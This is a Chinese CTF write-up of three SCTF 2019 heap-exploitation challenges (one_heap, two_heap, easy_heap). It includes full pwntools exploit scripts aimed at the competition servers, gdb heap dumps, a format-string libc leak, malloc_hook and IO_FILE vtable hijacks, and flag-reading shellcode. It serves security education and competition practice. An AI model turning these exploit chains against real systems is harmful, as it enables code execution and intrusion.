周末和大佬们打了SCTF,太菜了,感觉自己做的题目还是太少,见的类型也少,天枢这次一共做了3道pwn题,第一天都卡在one_heap了,free四次真的太少了,第二天早上two_heap和easy_heap出的很快,easy_heap和姚老板在TSCTF2019上出的babyheap一样,我还没把脚本改完大佬已经拿到了1血…
one_heap
这道题我只做到利用三次free泄露libc,然后就没有重叠的块了,剩下的一次free的机会也没法用。这个exp是队里整理的exp,我也分不清是谁做的了,好像大家都参与了。
题目描述
题目有add和delete两个功能,只允许add15次,free4次,每次free的都是最新add的chunk。
因为没有show函数,需要修改stdout泄露libc。
libc是2.27,有tcache。
新的劫持控制流方式
这里学到了一种新的劫持控制流的方法,之前只是覆写malloc_hook为one_gadget,但是这道题目所有的one_gadget都不能成功,因为malloc_hook的低8字节处就是realloc_hook,可以将malloc_hook覆写为realloc函数的地址,将realloc_hook覆写为one_gadget,这样在执行malloc函数时会跳转到realloc函数中去执行,在realloc函数有一些对栈的操作能够满足one_gadget的要求,因为realloc_hook不为空,就会跳转到realloc_hook来执行,从而跳转到one_gadget执行。
利用过程
因为只有4次free,泄露libc需要main_arena的地址,需要让double free的chunk进入到unsorted bin中,如果double free使用了2次free,进入unsorted bin还要用一次free。另外一次free还需要构造好重叠块。
首先构造double free,另外在最后一个chunk中伪造一个prev_size和size,为后面chunk overlapping做准备。
1 | New(0x7f,'\n') #0 |
伪造的chunk在#2中,具体如下:
1 | gdb-peda$ x /10gx 0x555555757370 |
此时,bins里面已经有double free,另外最后申请的0x40的chunk已经进入tcache。
1 | gdb-peda$ heapinfo |
再连续申请3个0x90的chunk,输入为换行符相当于不在chunk里写入内容,导致tcache 0x90中的chunk一直指向自己,一直在tcache里申请chunk,tcache 0x90的chunk的数目从0变为负数,此时再次释放一个0x90的chunk会导致其进入unsorted bin中。
1 | New(0x7f,'\n') #3 |
此时tcache中double free的chunk进入到unsorted bin中,我们就有了0x7f的地址。
1 | gdb-peda$ heapinfo |
此时再申请一个0x30的chunk,会从unsortedbin里分割给用户,并覆盖fd的低字节为stdout的地址,使得tcache中0x90的fd指向stdout,因为unsortedbin和tcache 0x90的chunk是重叠的,再次申请一个0x90的chunk,然后修改unsortedbin的chunk大小为0x90,因为我们之前在0x555555757370处伪造了一个0x90,此时正好对上。
1 | gdb-peda$ heapinfo |
我们之前伪造的0x90,这样伪造我们在unsortedbin和tcahe 0x40处就又有了重叠的chunk。
1 | gdb-peda$ x /20gx 0x555555757310 |
对应的操作如下:
1 | New(0x20,'\x60\x07\xdd'+'\n') #6 |
然后申请到stdout的chunk,泄露libc:
1 | New(0x7f,p64(0xfbad1800)+p64(0)*3+'\x00'+'\n') #8 |
此时再从unsortedbin中申请一个0x70的chunk,正好可以修改tcache 0x40中chunk的fd:
1 | New(0x68, p64(0) * 11 + p64(0x41) + p64(realloc_hook)) |
fd指向realloc_hook:
1 | gdb-peda$ heapinfo |
申请两次申请到realloc_hook的chunk,修改realloc_hook为one_gadget,修改malloc_hook为realloc函数+4的位置,最后申请chunk触发malloc_hook,然后跳转至realloc函数执行,因为realloc_hoo不为空,导致触发one_gadget。
完整exp如下:
1 | #coding=utf-8 |
two_heap
这道题目17大佬使用了神奇的%a,直接泄露libc了。
题目描述
题目依然没有show函数,需要泄露libc,这次没有限制free的次数,根据索引释放chunk,可以double free,libc也是2.27。
在add函数中,题目对输入的size进行了&0xFFFFFFF8的操作,然后对计算之后的size进行检查,如果size已经存在过,就不允许再申请同样size的chunk了,这就导致某个大小的chunk只能申请2次,比如申请0x90的chunk,与运算完成后只能是0x80或0x88,但是构造double free需要4次。但是因为有最小chunk的限制为0x20,我们输入0x0、0x8、0x10和0x18的申请到的都是0x20的chunk。因此可以在0x20的chunk上构造double free。
题目还有明显的栈溢出和格式化字符串的漏洞,但是栈溢出没什么用,溢出3字节到v5,但是v5没用到,后面printf会输出v4,加了格式化字符串的检查。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
__int64 v4; // [rsp+1Ch] [rbp-1Ch]
int v5; // [rsp+24h] [rbp-14h]
unsigned __int64 v6; // [rsp+28h] [rbp-10h]
v6 = __readfsqword(0x28u);
sub_12D0();
v4 = 0LL;
v5 = 0;
puts("Welcome to SCTF:");
my_read(&v4, 11);
__printf_chk(1LL, &v4, 0xFFFFFFFFLL, 0xFFFFFFFFLL, 0xFFFFFFFFLL);
while ( 1 )
{
while ( 1 )
{
v3 = sub_1440();
if ( v3 != 1 )
break;
add();
}
if ( v3 != 2 )
{
puts("exit.");
exit(0);
}
delete();
}
}
利用过程
这里利用过程使用了%a%2$a%3$a泄露libc,虽然不知奥原因是什么。然后构造double free来修改malloc_hook为one_gadget。
程序一开始不能运行,用了上次用过的强行修改libc的脚本,脚本来源见参考,这个脚本实在是太方便了,再次感谢写脚本的大佬。
一直找不到ld.so文件,最后是在ubuntu 17.10安装过程中有一个try ubuntu的选项,然后试用将ld.so文件拷贝出来的…
完整exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","split",'-h']
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
DEBUG = 0
if DEBUG:
elf = change_ld('./two_heap', './ld-linux-x86-64.so.2')
p = elf.process(env={'LD_PRELOAD':'./libc-2.26.so'})
libc = ELF("./libc-2.26.so")
#p = process("./two_heap")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("47.104.89.129",10002)
libc = ELF("./libc-2.26.so")
def add(size,data):
p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil("Input the size:")
p.sendline(str(size))
p.recvuntil("Input the note:")
p.send(data)
#sleep(2)
def delete(idx):
p.recvuntil("Your choice:")
p.sendline('2')
p.recvuntil("Input the index:")
p.sendline(str(idx))
##leak libc
p.recvuntil("Welcome to SCTF:")
p.sendline("%a%2$a%3$a")
p.recvuntil(".")
leak_addr = int('0x' + p.recvn(12)+'0',16)
print hex(leak_addr)
libc_base = leak_addr - (0x7ffff7fee720-0x00007ffff7e3f000)
print "libc_base:",hex(libc_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xe361b
realloc_hook = libc_base + libc.symbols["__realloc_hook"]
add(0x8,'\n')
add(0x30,'\n')
delete(0)
delete(0)
#gdb.attach(p)
add(0x10,p64(malloc_hook)+'\n')
add(0x7,'')
add(0x18,p64(one_gadget)+'\n')
print hex(libc_base)
##trigger
p.recvuntil("Your choice:")
p.sendline('1')
p.recvuntil("Input the size:")
p.sendline('96')
p.interactive()
'''
0x45e0a execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x45e5e execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xe361b execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
ubuntu@ubuntu:~/Documents/SCTF/two_heap$ one_gadget ./libc-2.26.so
0x45e0a execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x45e5e execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xe361b execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
'''
预期解
看了官方的exp,预期解是libc2.26的负数溢出漏洞,使得size在[-0x10,0]时也可以申请到0x20的chunk,但是出题人忘了0x8也可以,所以不知道这个漏洞也可以申请4次0x20的chunk(0x0,0x8,0x10,0x18)。
看了官方exp发现还有一个泄露libc的格式化字符串,那目前有两个格式化字符串:1
20x0p+00x0p+00x0.0
%a%2$a%3$a
easy_heap
这道题目和姚老板在TSCTF2019初赛的babyheap重合了,唯一的区别是这道题目add和edit是分离的,稍微修改脚本可以直接用。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","split",'-h']
DEBUG = 0
if DEBUG:
p = process("./easy_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("132.232.100.67",10004)
libc = ELF("./libc.so.6")
def add(size):
p.recvuntil(">> ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(str(size))
#p.recvuntil("Address ")
#heap_ptr = int(p.recvuntil("\n",drop=True),16)
#print hex(heap_ptr)
def delete(idx):
p.recvuntil(">> ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
def edit(idx,data):
p.recvuntil(">> ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(data)
p.recvuntil("Mmap: ")
mmap_addr = int(p.recvuntil('\n',drop=True),16)
print hex(mmap_addr)
add(0x80) #0
add(0x30) #1
add(0x68) #2
add(0xf0) #3
add(0x20) #4
delete(2)
add(0x68)
edit(2,'2'*0x60+p64(0x140))
delete(0)
delete(3)
add(0x80) #0
add(0x50) #3 0x60
add(0x40) #5 0x50
add(0xf0) #6 0x100
delete(5)
add(0x48)
edit(5,'a'*0x40+p64(0xf0+0x50)) #5 idx6:prev_size:0x140,size:0x100
delete(0)
delete(6) #free into unsortedbin 0x100+0x140 idx0~idx3+idx5~idx6
delete(2) #free into fastbin 0x70
add(0xc0) #0 unsortedbin addr the same as fastbin 0x70
add(0x20) #2
add(0xf0) #6
add(0x30) #7
delete(3) #0x60 free into fastbin 0x60
payload = 'a'*0x30 + p64(0) +p64(0x71) + '\xdd\x25' + '\n'
add(0x50)
edit(3,payload) #3
add(0x60) #8
add(0x60)
edit(9,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n') #9 stdout
p.recvuntil("\x00\x18\xad\xfb")
p.recvn(28)
leak_addr = u64(p.recvn(8).ljust(8,'\x00'))
libc_base = leak_addr - (0x7ffff7dd2600-0x7ffff7a0d000)
print "libc_base:",hex(libc_base)
add(0x18) #10
add(0xf0) #11
delete(10)
add(0x18)
edit(10,'a'*0x10+p64(0x60)) #10 prev_size:0x60 idx4(0x40)+idx10(0x20)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xf02a4
delete(8) #0x70
delete(3) #0x60
add(0x50)
edit(3,p64(0)*6+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+'\n') #3
add(0x60) #8
add(0x60)
edit(12,'a'*0x13+p64(one_gadget)+'\n')
print hex(libc_base)
##trigger malloc_printerr
delete(2)
delete(8) #double free
p.interactive()
预期解
参考官方wp,利用思路如下:
- 首先构造unlink获得在bss段上的heap_list的写权限,这里unlink的是idx0。
- 编辑idx0在idx1上写入mmap_addr,编辑idx1在mmap_addr上写入shellcode。
- 申请idx3(从unsortedbin中),通过edit idx0修改idx2的heap_ptr为unsortedbin size的地址(低字节修改),编辑idx3修改unsortedbin的大小为0x61。
- 通过edit idx0修改idx2的heap_ptr为unsortedbin bk的地址(低字节修改),编辑idx3修改unsortedbin的bk为_IO_list_all-0x10。
- 在unsortedbin的chunk处伪造IO_FILE结构,构造虚表指针为heap_list+0x10。
- 在heap_list+0x10处伪造函数跳转表,修改跳转地址为mmap_addr。
- 申请chunk触发unsortedbin attack,程序报错触发_IO_flush_all_lockp,最终跳转到mmap_addr执行shellcode,读取flag文件并输出其内容。
这里主要说一下后面的伪造IO_FILE:
当进行unsortedbin attack时,由于bk被修改为_IO_list_all-0x10,解链后_IO_list_all处的内容变为main_arena+0x58:1
2
3
4
5
6
7gdb-peda$ p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
gdb-peda$ x /8gx 0x7ffff7dd2520
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd1b78 0x0000000000000000
0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2087 0x00007ffff7dd25c3
0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25c3 0x00007ffff7dd25c3
因此程序认为在main_arena+0x58是第一个IO_FILE,在main_arena+0x58处伪造的IO_FILE结构如下,_chain是下一个_IO_FILE的地址,_chain的位置正好是smallbin[4]的位置。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35gdb-peda$ p (*(struct _IO_FILE_plus*) 0x00007ffff7dd1b78)
$2 = {
file = {
_flags = 0x55757230,
_IO_read_ptr = 0x555555757040 "",
_IO_read_end = 0x555555757040 "",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "@puUUU",
_IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "@puUUU",
_IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_markers = 0x555555757040,
_chain = 0x555555757040,
_fileno = 0xf7dd1bd8,
_flags2 = 0x7fff,
_old_offset = 0x7ffff7dd1bd8,
_cur_column = 0x1be8,
_vtable_offset = 0xdd,
_shortbuf = <incomplete sequence \367>,
_lock = 0x7ffff7dd1be8 <main_arena+200>,
_offset = 0x7ffff7dd1bf8,
_codecvt = 0x7ffff7dd1bf8 <main_arena+216>,
_wide_data = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_list = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_buf = 0x7ffff7dd1c18 <main_arena+248>,
__pad5 = 0x7ffff7dd1c18,
_mode = 0xf7dd1c28,
_unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
},
vtable = 0x7ffff7dd1c38 <main_arena+280>
}
当申请一个较小的chunk时,由于sunortedbin中的chunk属于smallbin的范围,chunk进入smallbin中,大小为0x60的chunk进入smallbin[4]:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757230 (size : 0x20dd0)
last_remainder: 0x555555757040 (size : 0x60)
unsortbin: 0x555555757040 (size : 0x60)
(0x060) smallbin[ 4]: 0x555555757040 (overlap chunk with 0x555555757040(freed) )
在unsortedbin中伪造下一个IO_FILE结构,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35gdb-peda$ p (*(struct _IO_FILE_plus*) 0x555555757040)
$3 = {
file = {
_flags = 0x0,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x555555756070
}
在虚表指针的位置伪造函数跳转表,修改函数跳转地址为mmap_addr,程序跳转到mmap_addr,该段内存是可读可写可执行的,执行shellcode,读取flag文件并输出。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24gdb-peda$ p (*(struct _IO_jump_t *)0x555555756070)
$4 = {
__dummy = 0xcacb33e000,
__dummy2 = 0xcacb33e000,
__finish = 0xcacb33e000,
__overflow = 0xcacb33e000,
__underflow = 0xcacb33e000,
__uflow = 0xcacb33e000,
__pbackfail = 0xcacb33e000,
__xsputn = 0xcacb33e000,
__xsgetn = 0xcacb33e000,
__seekoff = 0xcacb33e000,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
完整exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","split",'-h']
DEBUG = 1
if DEBUG:
p = process("./easy_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("132.232.100.67",10004)
libc = ELF("./libc.so.6")
def add(size):
p.recvuntil(">> ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Address ")
heap_ptr = int(p.recvuntil("\n",drop=True),16)
print hex(heap_ptr)
return heap_ptr
def delete(idx):
p.recvuntil(">> ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
def edit(idx,data):
p.recvuntil(">> ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(data)
code = """
xor rsi,rsi
mov rax,SYS_open
nop
nop
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
shellcode = asm(code,arch="amd64")
p.recvuntil("Mmap: ")
mmap_addr = int(p.recvuntil('\n',drop=True),16)
print hex(mmap_addr)
##unlink
heap_list = add(0xf8) - 0x8 #0
add(0xf0) #1
add(0x20) #2
payload = p64(0) + p64(0xf0)
payload += p64(heap_list+0x8-0x18) + p64(heap_list+0x8-0x10)
payload = payload.ljust(0xf0,'\x00')
payload += p64(0xf0)
edit(0,payload)
delete(1)
##mmap_addr->shellcode
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(0x1000) + p64(mmap_addr)
edit(0,payload+'\n')
edit(1,shellcode+'\n')
##unsorted bin size: 0x1c1->0x61
add(0x20) #3
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(0)*4 + p64(8) + '\x48' + '\n' #unsortedbin size
edit(0,payload)
edit(3,'\x61\x00'+'\n')
##unsortedbin attack
##bk -> IO_list_all-0x10
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(0)*4 + p64(8) + '\x58' + '\n' #unsortedbin bk
edit(0,payload)
edit(3,'\x10\x25'+'\n') #IO_list_all
##fake vtable
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(0)*4 + p64(0x1000) + '\x60' + '\n'
edit(0,payload)
fake_vtable = (heap_list - 0x202060) + 0x202070
payload = p64(2) + p64(3)
payload = payload.ljust(0xb8,'\x00')
payload += p64(fake_vtable)
edit(3,payload+'\n')
##
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(mmap_addr) * 10
edit(0,payload+'\n')
gdb.attach(p)
##trigger
p.recvuntil(">> ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline('1')
p.interactive()
补充
预期解里面的shellcode参照官方exp,不能执行,因为生成的是32位的shellcode,问了学弟终于找到原因了,需要加一句context.update指定64位的环境,然后生成的shellcode就是64位了:1
2context.update(arch="amd64",os="linux",log_level = "DEBUG")
shellcode = asm(shellcraft.sh())
参考
https://bbs.pediy.com/thread-225849.htm
SCTF 2019 官方 Write-Up